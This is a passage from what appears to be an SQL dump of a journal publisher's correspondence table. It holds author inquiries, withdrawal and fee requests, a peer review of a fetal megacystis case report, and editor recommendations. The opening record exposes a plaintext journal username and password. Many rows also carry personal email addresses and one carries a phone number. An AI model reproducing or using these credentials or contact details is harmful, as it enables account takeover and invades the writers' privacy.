manuscript</p>\r\n<p><span>Ref.: Ms. No.&nbsp;</span><span style=\"color:\ngreen;\"><strong>ijddr-20-3529</strong></span><br /><span>Article Title\n:&nbsp;</span><span style=\"color: green;\"><strong>In silico\nidentification of small molecules as novel coronavirus protease enzyme\ninhibitors</strong></span></p>\r\n<p><span style=\"color: green;\">&nbsp;</span></p>\r\n<p><span style=\"color: green;\">1) <a\nhref=\"mailto:antonio.carrierri@uniba.it\">antonio.carrierri@uniba.it</a></span></p>\r\n<p><span style=\"color: green;\">2)&nbsp;</span><a\nhref=\"mailto:bonaccorsoc@gmail.com\">bonaccorsoc@gmail.com</a>&nbsp;\n&nbsp;&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>3)&nbsp;<a\nhref=\"mailto:rocco.caliandro@ic.cnr.it\">rocco.caliandro@ic.cnr.it</a></p>\r\n<p>&nbsp;</p>\r\n<p><span style=\"color: green;\">4) <a\nhref=\"mailto:antonio.lavecchia@unina.it\">antonio.lavecchia@unina.it</a></span></p>\r\n<p><span style=\"color: green;\">Thank you for your help.</span></p>\r\n<p><span style=\"color: green;\">Prof. Antonio Scilimati</span></p>\r\n<p><span style=\"color: green;\">&nbsp;</span></p>\r\n<p><span style=\"color: green;\"><span>Your Login Details\n:&nbsp;</span><br /><span>UserName\n:&nbsp;</span><strong>prof._antonio</strong><br /><span>Password\n:&nbsp;</span><strong>MtxePqqc</strong></span></p>',376,1011,2,'2020-04-14 18:32:20',1),(259,'Publication','<p>Dear Editors&nbsp;</p>\r\n<p>Im writing you because I have recived an email saying my paper is accepted for publication, but in this moment we are having some difficulties that wont let us publish the paper.</p>\r\n<p>Hoping for your comprehension, we are so ashamed for this.</p>\r\n<p>Kind Regards</p>\r\n<p>Rina Medina and Litza Sauceda&nbsp;</p>',274,4339,1,'2020-04-16 10:28:13',1),(260,'Submission follow up','<p>Dear Editor,</p>\r\n<p>Could you please let us know the current status of our manuscript? Thank you very much!</p>\r\n<p>Best Regards</p>\r\n<p>William Cheng</p>',765,4871,1,'2020-04-20 08:36:45',1),(263,'Why let?','<p style=\"text-align: justify;\">As you know i subimt my research findings on the side of for the sake of publication .but no any response .so why it leat?</p>',101,4095,1,'2020-04-22 09:58:08',1),(264,'Unsubscribe','<p>Please remove my name from your reviewer database. &nbsp;I have been retired for 4 yrs and am no longer accepting invitations to review papers.</p>\r\n<p>&nbsp;</p>\r\n<p>Regards, &nbsp; Michael Pearson</p>',835,9554,3,'2020-04-22 11:37:24',1),(266,'Request for Update','<p>Hey there!</p>\r\n<p>I would like to request an update on my submission. I would also like to know the average time it takes to review an artile submitted to your journal</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you.</p>',91,4826,1,'2020-04-24 18:18:22',1),(270,'ipaom-20-3777','<p>Dear Sir/ Madam,</p>\r\n<p>I just submitted the revised galley proof of the article with minor correction which have been highlighted in yellow. The title of Figure 1 was omitted because figure has already a\ntittle.&nbsp;</p>\r\n<p>Thankyou for the good work. If you are interested, I am willing to review papers for you .</p>\r\n<p>Thanks</p>',85,4945,1,'2020-04-28 17:34:38',1),(275,'Asking about charges of publication as\nthere is no fund for our work ','<p>Please What is the ISSN for this journal&nbsp; is there is charges for this publication as there is no fund and I want to know&nbsp; many thanks for you</p>',234,5047,1,'2020-05-01 08:55:31',1),(276,'Withdrawal of my article','<p>Could I withdraw my article as there no fund if&nbsp; there is any charges will be paid and only one week&nbsp; pass after submiission&nbsp; as written in this journal&nbsp;</p>',234,5047,1,'2020-05-01 09:59:52',0),(277,'Manuscript number: 20-3726','<p>Dear Editor,</p>\r\n<p>The publication is a case report with discussion and literature review. The topic is clinically relevant as it emphasizes the challenges with prenatal diagnosis of fetal megacystis in the setting\nof normal amniotic fluid volume. The publication is structured in two parts: &nbsp;case description and discussion of the literature. There are 3 images and 1 table.</p>\r\n<p><strong>Case description:</strong></p>\r\n<p>Prenatal sonographic findings are presented in detail. I would suggest adding a link to a specific image in&nbsp; the text. If possible, include bladder measurements on subsequent ultrasounds.</p>\r\n<p>The authors suggest that the main differential diagnosis is MMIHS based on the specific constellation of prenatal sonographic findings. They also discuss the evolution of prenatal sonographic\nfindings illustrating the difficulties with providing accurate diagnosis based solely on the ultrasound appearance.</p>\r\n<p>1. Postnatally, MMIHS is a clinical diagnosis that relies on the demonstration of visceral myopathy, which is most commonly evident by neonatal megacystis and various degrees of intestinal\nhypoperistalsis. In this repot, the description of the postnatal findings is scarce. I think it is critical to add detailed postnatal findings with diagnostic workup that was used to confirm the\ndiagnosis. Have any medications (promotility agents) been used? Has intestinal manometry been performed? Did the patient undergo any surgical procedures? If yes, is the pathology specimen\navailable?</p>\r\n<p>2.The authors mention that the only genetic workup done was a karyotype. Have authors considered performing advanced genetic workup e.g. chromosomal microarray, whole exome sequencing or targeted\ngene sequencing ? The impact of the manuscript would be much higher with additional genetic workup included. I suspect that, based on the presentation, this will most likely be associated with ACTG2\nmutations. If the patient declined further genetic workup, please mention it in the text.</p>\r\n<p>3. Please revise the last paragraph in the case description. Being on TPN is a serious morbidity and this is a consequence of the primary illness (intestinal hypoperistalsis).</p>\r\n<p><strong>Discussion:</strong></p>\r\n<p>1. The opening paragraph needs to be revised. The discussion is centered around MMIHS. MMIHS is not considered to be only autosomal-recessive disorder. In fact, the most common genetic etiology are\nheterozygous (DOMINANT) missense variants in ACTG2 gene. ACTG2 mutations, in the case of MMIHS, are most commonly de novo, but familial cases with prenatal presentation have also been reported.</p>\r\n<p>Although genetics of MMIHS is not the scope of this report, I would briefly mention the most up-to-date inheritance pattern and genes that have been implicated in its etiology.</p>\r\n<p>For a quick reference I suggest:</p>\r\n<p>a. <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/31070878\">https://www.ncbi.nlm.nih.gov/pubmed/31070878</a></p>\r\n<p>b. <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/26072522\">https://www.ncbi.nlm.nih.gov/pubmed/26072522</a></p>\r\n<p>2. Life expectancy for MMIHS has improved, but the disease remains seriously morbid. I would say that with improvements in care majority of the patients will survive past 1 year with aggressive\nmanagement.</p>\r\n<p>3. Under &ldquo;Implications of ultrasonography&rdquo; I would revise the first paragraph. Please add a reference next to amniotic fluid digestive enzymes and fetal urinary analysis. These could be\ndone, but are not specific for the diagnosis of MMIHS. The only way to establish correct diagnosis is through genomic sequencing, either whole exome sequencing or targeted sequencing. MMIHS remains a\nclinical diagnosis, but different genes have been implicated in its etiology. Knowledge of exact etiology will improve management and counseling.</p>\r\n<p>4. Next to 2014 MMIHS review, there should be a reference 6 instead of 5. Please check the reference order.</p>\r\n<p>4. The authors state &ldquo; Due to improvements in neonatal TPN and the success of bowel transplantations, there has been a significant increased rate of survival observed amongst affected\nneonates in recent years&rdquo;-please add a reference.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Table and Figures:</strong></p>\r\n<p>Please link figures with the text.</p>\r\n<p>Figures are clear and support the data in the text</p>\r\n<p>Table:</p>\r\n<p>1.&nbsp; I would consider grouping LUTO/PUV under the same column. PUV is the most common cause of LUTO. Alternatively, mention different etiologies of LUTO separately (e.g. PUV, urethral\natresia)</p>\r\n<p>2. Under MMIHS column, likely both male and female is equally affected. Please see under two references that I suggested</p>\r\n<p><strong>References:</strong></p>\r\n<p>Might need revision based on the journal guidelines.</p>\r\n<p>&nbsp;</p>',268,12262,3,'2020-05-02 09:10:06',1),(279,'approval for publication','<p>I read the 1 reviewer suggestion in favor for this manuscript, also\nI read it by m,yself and I think it can be published.</p>\r\n<p>Sincerely,</p>\r\n<p>Monica</p>',440,1250,2,'2020-05-04 12:16:49',0),(280,'to be rejected','<p>For tghis manuscript i thnik its better to decline the publication,\ntoo many declines from reviewers and the only one who read it says its\nnot perfectly sustained by the variables studied.</p>\r\n<p>Sincerely,</p>\r\n<p>Monica</p>',440,1250,2,'2020-05-04 12:18:31',0),(281,'to be rejected','<p>Dear Editor,</p>\r\n<p>I propose this mansucript to be rejected: only 1 from 8 reviewwrs\nread it, and this one didnt say he/she approves the publication,\ninstead aslked for more hypothesis management. I agree with him, its\nbetter to say no to this article, already too old (from the original\nsubmission).</p>\r\n<p>Sincerely,</p>\r\n<p>Monica</p>',440,1250,2,'2020-05-04 12:20:44',0),(282,'approval for publication','<p>Dear Editor,</p>\r\n<p>After one reviewers cokment to this article and my reading also, I\npropose it to be published.</p>\r\n<p>Sincerely,</p>\r\n<p>Monica</p>',440,1250,2,'2020-05-04 12:21:53',1),(283,'Regarding Manuscript','<p>Hello</p>',878,5088,1,'2020-05-04 15:05:17',1),(285,'Publishing fee','<p>Good Evening,</p>\r\n<p>I previously received an email regarding my manuscript, with request for publication charge of 1979 euros. Unfortunately, due to this challenging time as we go through the pandemic, I cannot pay\nthe cost of the publication. Is there any other option? Perhaps I can cut down some pages or with less graphs and appendices? Or if I can waive the fee through my institution, if it is a imed\nmember.</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you.</p>\r\n<p>Sincerely,</p>\r\n<p>Alyssa Caparros</p>',353,3935,1,'2020-05-05 11:52:42',1),(287,'requesting for response ','<p>there is no response for more than three months, what is the reason behind?</p>',50,4210,1,'2020-05-05 18:30:41',1),(288,'Manuscript (iphsj-20-3997)  with\nreferences required for review','<p>Dear Editor</p>\r\n<p>Please send me full manuscript (iphsj-20-3997) along with references for review.</p>\r\n<p>Regards</p>\r\n<p>&nbsp;</p>\r\n<p>Dr M J Rabbani</p>\r\n<p><strong>reviewer_12531</strong></p>',48,12531,3,'2020-05-05 18:54:01',1),(292,'Submission follow up','<p>Dear Editor,</p>\r\n<p>So far we are nor clear our manuscript accepted or not. Could you please give us a clear reply so that we can consider other journal?</p>\r\n<p>Thank you!</p>\r\n<p>Cheng King Fai</p>',765,4871,1,'2020-05-08 12:16:33',1),(293,'withdrawal request','<p>dear sir</p>\r\n<p>i am sorry to tell you that i want to withdraw this article&nbsp;</p>\r\n<p>thank you</p>',234,5314,1,'2020-05-15 20:04:26',0),(294,'withdrawal request','<p>dear sir</p>\r\n<p>i am sorry to tell you that i want to withdraw this article&nbsp;</p>\r\n<p>thank you</p>',234,5314,1,'2020-05-15 20:04:40',0),(296,'withdrawal request','<p>your protocol says that i can withdraw it within 7 days withot any charge</p>\r\n<p>check this problem and answer me</p>\r\n<p>the paper has conflict of interest and need to be revised and i want to withdrwait</p>',234,5314,1,'2020-05-16 16:31:49',0),(297,'withdrawal request','<p>your protocol says that i can withdraw it within 7 days withot any charge</p>\r\n<p>check this problem and answer me</p>\r\n<p>the paper has conflict of interest and need to be revised and i want to withdrwait</p>',234,5314,1,'2020-05-16 16:32:02',0),(298,'manuscript withdrawal','<p>please retract my manuscript titled (<span>&nbsp;</span><strong>Whole Genome 5&acirc;&euro;&sup2;-Methylcytosine Level Quantification In Chronic Hepatitis C Infected Egyptian\nPatients)</strong></p>\r\n<p><strong>Thanks&nbsp;</strong></p>',279,5251,1,'2020-05-16 22:34:17',1),(299,'withdrawal request','<p>dear sir</p>\r\n<p>i sent withdrwal request 5 days ago to be able to withdrea it without fund as there is major things must be handeled in statistics</p>\r\n<p>i did not recieive response from you to withdrwa it without pay as this this your journal protocol</p>\r\n<p>please answer me</p>',234,5314,1,'2020-05-18 16:03:29',0),(300,'Hi','<p>How are you ? You are not in touch i dohave some concern so contact me pls otherwise i will be forced to withdraw&nbsp;</p>',48,4952,1,'2020-05-18 16:24:11',1),(301,'Regarding the revised attachment new one\nTODAY','<p>Regarding the revised attachment as the previous title specifically about economy mostly replaced by issues related to health care delivery i kindly request your journal to consider updated\ninformation inclusively</p>\r\n<p><strong>Thank you so much for your kind consideration, I might provide any detail in case do not hesitate to keep in touch with me</strong></p>',48,4952,1,'2020-05-19 00:47:23',1),(303,'avancement of manuscript','<p><br /><span>I would like to know your decision regarding our manuscript N &deg;ipjnn-20-4160.</span></p>',75,5368,1,'2020-05-22 02:30:33',1),(304,'avancement of manuscript','<p><br /><span>I would like to know your decision regarding our manuscript N &deg;ipjnn-20-4160.</span></p>\r\n<p><span>Thank You&nbsp;<span>&nbsp;for the interest you bring to this work.</span></span></p>',75,5368,1,'2020-05-22 02:31:53',1),(305,'Hi','<p>How are you?&nbsp; I am fine. I have written your office last time but you did not repond me... I also have&nbsp; alittle bit modification to the final docx.&nbsp; I am from developing country let\nalone there was no any payment required i have been informed. I you are not willing to publish it free of charge please inform me soon</p>\r\n<p>Thank you for giving me quick response</p>',48,4952,1,'2020-05-23 01:19:58',1),(306,'cancel the sumbmission ','<p>for scientific reasons, I regret to inform you that the manuscript has been withdrawn. Please cancel the submission of this article No.ipjnn-20-4160</p>',75,5368,1,'2020-05-24 04:15:10',1),(307,'awaiting response','<p>sear dr.; it has been more than a month since i submitted my paper. i didnt hear back from you yet?</p>\r\n<p>thanks&nbsp;</p>',75,5082,1,'2020-05-24 13:30:39',1),(308,'To have information about the status of\nmy manuscript ','<p>what is the reason my article withdrawn still now? why not it be published? please help me to publish. Thank you!</p>',101,3588,1,'2020-05-24 21:38:32',1),(309,'Regarding Submitted Manuscript\n(ipaom-20-3812)','<p>Dear Sir/Mam,</p>\r\n<p>It has been a long time of submitted article which is under review since 17th April 2020. Kindly, send the reminder to the reviewers to speed up the review process.&nbsp;</p>\r\n<p>Please do the needful.</p>\r\n<p>Thanks you</p>\r\n<p>Dr. Santosh Kumar Prajapti</p>',85,4990,1,'2020-05-26 20:59:39',1),(312,'vit k mohamed farouk mosa paper','<p>Dear sir i have sent my paper for review but i have no response&nbsp;</p>\r\n<p>thanks for your kind</p>',370,5587,1,'2020-06-01 14:15:12',1),(313,'Hi','<p>How Are You? I have written you several times but you are not responding me. So i need you to consider my concerns and look forward to your response&nbsp;</p>\r\n<p>thank you,</p>\r\n<p>Lalisa.</p>',48,4952,1,'2020-06-01 19:32:58',1),(314,'thank you for review','<p>Please find enclosed the revised manuscript and a second document detailing the changes I made in response to review.&nbsp;&nbsp;</p>\r\n<p>Thank you, Alexa Craig</p>',268,5277,1,'2020-06-01 22:53:08',1),(315,'Status of the paper','<p>Dear Editor,&nbsp;</p>\r\n<p>I kindly request you to inform me the status of the paper</p>\r\n<p>&nbsp;</p>\r\n<p>Assefa</p>\r\n<p>Ethiopia</p>',645,4451,1,'2020-06-03 02:02:02',1),(316,'ipaom-20-3812, Global Efforts towards\npotential therapeutic options for\nCOVID-19','<p>Dear cook,</p>\r\n<p>I am sorry to say that manuscript is not avilable in pdf format in revivewer dashborad. If possible send the manuscript at my mail for quick review and respons.</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks &amp; regards</p>\r\n<p>Dr. Ravi Ranjan</p>',85,13109,3,'2020-06-04 06:55:26',1),(317,'withdraw this paper','<p>Please withdraw this article.</p>',48,5382,1,'2020-06-04 23:30:56',1),(319,'Peer review article ','<p>Dear Editor,&nbsp;</p>\r\n<p>I am awaiting the response to the preliminary control as well as payment details please.</p>\r\n<p>Thank you&nbsp;</p>\r\n<p>Dr. Oyem</p>\r\n<p>&nbsp;</p>',816,5371,1,'2020-06-05 04:49:34',1),(320,'my decision is major revision','<p>hi</p>\r\n<p>dear</p>\r\n<p>good times</p>\r\n<p>my decision is major revision&nbsp;</p>\r\n<p>please send me thank you email for publons&nbsp;</p>',979,1344,2,'2020-06-05 15:46:50',1),(321,'Follow-up on the review status','<p>Hello,</p>\r\n<p>I would like to know the timeline if possible for the review decision regarding my manuscript. Thank you for your time&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Mustafa Al-Chalabi</p>',75,5541,1,'2020-06-06 03:38:03',1),(322,'full paper ','<p>I failed to find the full paper in order to review&nbsp;</p>',75,653,3,'2020-06-06 10:02:16',1),(323,'Re: Hi ','<p>How are you? I am fine. I have written you several times but your office is not responding. pls let me know your concern. Thank you</p>',48,4952,1,'2020-06-06 13:40:11',1),(324,'ROLE of VITAMIN K THERAPY IN PREVENTION\nOF VASCULAR CALCIFICATION IN Chronic\nKidney Disease','<p>Dear sir how are you i ask about my maniscrpit what new about review</p>',370,5587,1,'2020-06-07 16:21:07',1),(325,'Revision date','<p>Dear Editors,</p>\r\n<p>Thank you for reviewing our case series. Would it possible to have the deadline of the revision pushed back a little? We have not been able to work on this the last few days due to unforseen\ncircumstances.&nbsp;</p>\r\n<p>I apologize and thank you for considering.&nbsp;</p>\r\n<p>Sincerely,</p>\r\n<p>Angie Seo</p>',85,5257,1,'2020-06-08 15:44:34',1),(326,'Figures uploaded','<p>Dear editor,</p>\r\n<p>Hope everything goes well. I already uploaded all the figures and other materials for our manuscript.&nbsp;</p>\r\n<p>Thanks for considering our work.</p>\r\n<p>Best regards,</p>\r\n<p>Qian</p>',369,5227,1,'2020-06-09 07:05:17',1),(328,'Publishing timeline','<p>Dear editorial team of Journal of Vascular and Endovascular Surgery,&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Could you please provide an approximate timeline if possible as to when our article: A septic foot leading to iliac mycotic aneurysm will be published? I have noted that it has been reviewed by an\neditor and has been accepted by the journal.</p>\r\n<p>&nbsp;</p>\r\n<p>Kind regards,&nbsp;</p>\r\n<p>Dr Bookun</p>',62,4969,1,'2020-06-10 11:55:33',1),(329,'author query','<p>Dear editor</p>\r\n<p>I have submitted my paper in your journal i have got email on 6 june&nbsp;that my paper will get publish with in two days but still i dont get any final proof of my paper.</p>\r\n<p>Kind regards</p>\r\n<p>Ayesha Feroz</p>',980,5346,1,'2020-06-10 23:07:42',1),(330,'author query','<p>Dear editor<br data-mce-bogus=\"1\"></p><p>I have submitted my paper in your journal i have got email on 6 june&nbsp;that my paper will get publish with in two days but still i dont get any final\nproof of my paper.<br></p><p>Kind regards<br></p><p>Ayesha Feroz<br></p>',980,5346,1,'2020-06-10 23:07:43',1),(332,'withdraw my submission','<p>dear editor;&nbsp;</p>\r\n<p>i am contacting you to withdraw my submission. i am not interested anymore to submit this article.&nbsp;</p>',75,5082,1,'2020-06-11 01:13:04',1),(333,'REQUEST FOR WITHDRAWAL','<p>June 11, 2020<br />Editor,</p>\r\n<p>INTERNATIONAL JOURNAL OF DRUG DEVELOPMENT AND RESEARCH</p>\r\n<p>&nbsp;</p>\r\n<p>Dear Editor,</p>\r\n<p>Regarding to our paper submission in International Journal of Drug Development and Research under Insight Medical Publishing (iMedPub LTD),&nbsp;we request for the&nbsp;<span\nstyle=\"text-decoration: underline;\"><strong>WITHDRAWAL</strong></span><strong>&nbsp;</strong>of our submission from further consideration as follows:<br /><br /></p>\r\n<p>&nbsp;Title&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: THE EFFECT\nOF OZONATED ALOE VERA OIL ON NEUTROPHIL COUNT AND WOUND DIAMETER IN SPRAGUE DAWLEY RATS WITH FULL-THICKNESS SKIN DEFECT</p>\r\n<p>Type &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Research paper</p>\r\n<p>Submission time&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : June 09, 2020</p>\r\n<p>&nbsp;</p>\r\n<p>Please kindly confirm once the withdrawal process has been completed.&nbsp;We apologize for the inconvenience we have caused.</p>\r\n<p>&nbsp;</p>\r\n<p>We look forward to hearing from you at your earliest convenience.</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Sincerely,</p>\r\n<p>Muhamad Thohar Arifin</p>\r\n<p>Department of Neurosurgery, Faculty of Medicine, Diponegoro University</p>\r\n<p>Jl. Prof Soedarto Tembalang Indonesia</p>\r\n<p>Phone No: +6281325861628</p>\r\n<p>Fax No: +62248452422</p>\r\n<p>Email Address:&nbsp;&nbsp;<a href=\"mailto:thohar@fk.undip.ac.id\" target=\"_blank\">thohar@fk.undip.ac.id</a></p>',376,5815,1,'2020-06-11 12:11:58',1),(335,'Review decision follow-up','<p>Good evening,</p>\r\n<p>Could you please provide an update regarding the review decision of my paper?</p>\r\n<p>Thank you for your help and time</p>\r\n<p>Mustafa&nbsp;</p>',75,5541,1,'2020-06-12 07:35:14',1),(336,'Title Modification','<p>&nbsp;</p>\r\n<p>Identification, Antimicrobial Resistance Pattern and Community Knowledge, Attitude and practices of Salmonella in Mizan Town, Ethiopia: Cross Sectional Study</p>',48,5297,1,'2020-06-13 11:34:09',1),(337,'paper approval','<p>hi</p>\r\n<p>dear</p>\r\n<p>good times</p>\r\n<p>here to inform that the paper (the first pass_pass isolation\n...)</p>\r\n<p>got paper approval&nbsp;</p>\r\n<p>olease send me thank you email</p>\r\n<p>for note&nbsp;</p>\r\n<p>my prefered academic email</p>\r\n<p><a\nhref=\"mailto:hazim.alhiti@uoanbar.edu.iq\">hazim.alhiti@uoanbar.edu.iq</a>&nbsp;</p>',979,1344,2,'2020-06-13 13:36:33',1),(338,'Reviewer comments ','<p>I received an e-mail that states to review comments, revise, and resubmit. Where do I find the reviewer comments.</p>\r\n<p>Thank you,</p>\r\n<p>Alan Nager&nbsp;</p>\r\n<p>&nbsp;</p>',269,5538,1,'2020-06-16 01:28:20',1),(339,'Withdrawal of Manuscript','<p>Dear Editors,</p>\r\n<p>I hope that you are fine and safe.</p>\r\n<p>since we are living a pandemic situation I unfortunately do not have this fee of &euro;1519.00 and I will have to withdrawal the manuscript.</p>\r\n<div>I apologize for this inconvenience and hope that you understand that here in my Country, Brasil, we pay for 1 euro 6.5 Reais that is our currency.&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>Best regards,</div>',979,5505,1,'2020-06-16 22:01:52',1),(340,'Article feedback','<p>Greetings,&nbsp;</p>\r\n<p>I am still waiting to hear from you in regards to my resubmitted article.</p>',131,4905,1,'2020-06-17 01:45:52',1),(341,'please delet my article','<p>i have problem with my co/autor</p>',370,4757,1,'2020-06-17 14:12:36',1),(342,'hi ! regarding the modified document you\ncan use this for further','<p>Authors have also been added after editing dox ernomously&nbsp;</p>',48,4952,1,'2020-06-17 20:19:07',1),(343,'helo pls','<p>am writing this to you several times for not puplishing it now</p>\r\n<p>I may pay consider for upcoming paper with you ...due to this hard time i cant afford it&nbsp;</p>',48,4952,1,'2020-06-17 20:21:29',1),(344,'please delet my article','<p>I CANT PAY MONEY, PLEASE DELET MY ARTICLE</p>',85,5933,1,'2020-06-18 12:40:48',1),(345,'please delet my article','<p>excuse me i cant pay money please delet my article</p>',85,5933,1,'2020-06-18 13:12:10',1),(346,'Paper submission','<p>Good morning Chief Editor</p>\r\n<p>Please, I just noticed that my paper current status indicates - Withdrawn as at June 12</p>\r\n<p>Please, what does it imply for both journals submitted since March 7 and 10th</p>\r\n<p>&nbsp;</p>\r\n<p>Kind regards</p>',352,4586,1,'2020-06-18 14:33:45',1),(347,'please delet my article','<p>we are iranian we cant transfer money, i think my freiend live in abroad help me to transfer, but he inform me he cant, when i solve this problem i resubmitt, but now plwase delet my article\nbecause i cant pay&nbsp;</p>',85,5933,1,'2020-06-18 14:44:54',1),(348,'Thank you for your understanding. ','<p>Thank you for your understanding. I have submitted our revisions.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Best,</p>\r\n<p>Angie</p>',85,5257,1,'2020-06-19 07:27:50',1),(349,'Manuscript withdrawal (IPJIDT-20-4683)','<p>Please withdraw this manuscriopt from consideration for publication.</p>\r\n<p>Thank you,</p>\r\n<p>Elias Reichel</p>',400,5897,1,'2020-06-20 18:49:32',1),(350,'about authorship','<p>Dear editor:</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks for accepting our manuscript, just one more thing before it is published online. Could you add \"Thomas Wang and Qian Bi contributed equally\" in tbe manuscript. We had put this in our\nmanuscript, however I could not find it on the galley proof. This is important for us to give authors proper credit. Hope this will not bring too much trouble. Thanks.</p>\r\n<p>&nbsp;</p>\r\n<p>Best regards,</p>\r\n<p>Qian</p>',369,5227,1,'2020-06-22 17:28:51',1),(351,'Manuscript Revision','<p>Dear colleagues,</p>\r\n<p>I&acute;m Yaiza P&eacute;rez, one of the author of the manuscript. I&acute;m writting to you because we need to know what is tha aproximattely time for response about the decision</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks in advance</p>\r\n<p>Regards</p>\r\n<p>Yaiza&nbsp;</p>',75,5175,1,'2020-06-23 21:11:55',1),(352,'Re: “Diagnostic yield and safety of\nendoscopic ultrasound in hospitalized\npatients with acute pancreatitis” (Ms.\nNo. ipp-20-4133)','<p>June 27, 2020</p>\r\n<p>&nbsp;</p>\r\n<p>Dear Drs. Rasheed and Saif:</p>\r\n<p>Thank you very much for your email of June 23, 2020 regarding this manuscript. We have revised the manuscript to address the comments of the reviewer. Our point-by-point responses are listed below.\nIn the revised manuscript we have highlighted the changes that were made from the original manuscript in &ldquo;track changes&rdquo; and also provided a separate clean version of the revised\nmanuscript.</p>\r\n<p>We eagerly look forward to your response.</p>\r\n<p>&nbsp;</p>\r\n<p>Sincerely,</p>\r\n<p>&nbsp;</p>\r\n<p>Yan Zhao, MD, PhD</p>',21,5340,1,'2020-06-28 12:20:44',1),(353,'REVIEW: IPFS-20-3723 & IPFS-20-3860','<p>Dear Prof. Dr. Faith CANN,</p>\r\n<p>I received request early this week to review two manuscripts:</p>\r\n<p>1. ipfs-20-3723</p>\r\n<p>2. ipfs-20-3860</p>\r\n<p>&nbsp;</p>\r\n<p>However, I can see that the stustus of both papere is \"Accepted Article\"</p>\r\n<p>&nbsp;</p>\r\n<p>I am wondering if I should review or there was a mistake in communication.</p>\r\n<p>&nbsp;</p>\r\n<p>Julius</p>',645,4452,3,'2020-06-28 17:58:29',1),(356,'Follow up Manuscript ( Reducing the\nPsychological Impact of Quarantine due\nto the COVID-19 Pandemic on Children in\nSaudi Arabia)','<p>Dear Editoril office :</p>\r\n<p>I would like to follow up the manuscript status.</p>\r\n<p>&nbsp;</p>\r\n<p>Regards;</p>\r\n<p>Manal Samarkandy</p>\r\n<p>samarkandy@yahoo.com</p>\r\n<p>&nbsp;</p>',50,6142,1,'2020-07-06 02:26:43',1),(358,'Meaning of withdrawn','<p>Hello Sir/Madam</p>\r\n<p>hope that everything is alright with you. I have submitted a research article, Now status shown that it is withdrawn... what is its meaning</p>',101,5138,1,'2020-07-07 00:32:50',1),(359,'Review','<p>Hi,</p>\r\n<p>&nbsp;</p>\r\n<p>I am planning to accept only \"<strong>Novel aspects of Cell Division Cycle and Apoptosis Regulator 1 (CDCAR1) protein in Morus notabilis: An in silico Approaches\" but not other\ntwo.&nbsp;</strong>Please make correction, as dashboard show all three accepted.</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks</p>\r\n<p>Praveen</p>',882,13668,3,'2020-07-08 12:22:45',1),(360,'About withdraw','<p>sir, i did not ask for withdraw but why it show in the current status?</p>',101,4653,1,'2020-07-09 08:49:59',1),(361,'inquiry about a papper','<p>dear editor:<br data-mce-bogus=\"1\"></p><p>i want to thank you about your rapid response and communication from the begininig of my submission. please i want to ask about the progress of the papper\nentitled <strong>Association between Apolipoproteins A1&amp; B and their ratio with intracranial and extracranial arterial stenosis in acute ischemic stroke patients: An Egyptian Study</strong>.\n<br></p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nhave agreat and nice 